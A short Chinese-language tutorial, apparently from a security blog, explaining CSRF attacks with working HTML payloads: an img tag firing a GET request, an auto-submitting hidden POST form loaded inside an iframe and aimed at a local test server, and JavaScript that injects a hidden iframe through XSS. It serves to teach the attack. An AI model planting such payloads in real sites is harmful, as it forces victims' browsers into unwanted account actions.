概述
一图胜千言

攻击方式
- GET方式
假如现在有一个链接: https://csrf.com/m?addUser=id12345 那么我们就可以构造一个图片
1
| <img src='https://csrf.com/m?addUser=id12345'>
|
只要你访问我的网站,那么就会触发这个链接,从而关注了我
- POST方式
POST的请求经常伴随着跳转,一跳转,就会暴露,这个时候我们就要考虑加一个iframe。
但是在csrf测试的页面加iframe,根据同源政策,显示不来内容。于是我们新建另一个页面,加上iframe,连接到csrf的测试页面。如下:
新建一个iframe
1 2 3 4 5 6
| <html> <head></head> <body> <iframe style="display:block" src='test.html'></iframe> </body> </html>
|
在建一个test.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF GET</title> <body> <form name="form1" action="http://127.0.0.1:5000/csrf" method="post"> <input type='hidden' name='username' value="csrf_ee1"> <input type="hidden" name="password" value="qwe1231"/> <input type="submit" value> </form> <script> document.forms.form1.submit(); </script> </body> </html>
|
这样一来,成功复现了csrf
什么叫做XSRF?
XSRF指的是xss+csrf的攻击,指的是一个网站既有xss又有csrf。 这样一来就可以进行两者的结合,通过xss注入csrf的html代码。
通过js生成代码
1 2 3 4 5 6
| <script> var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src='test.html'; document.body.appendChild(iframe); </script>
|
总结
csrf总的来说,主要聚焦于写,并不会窃取用户的数据。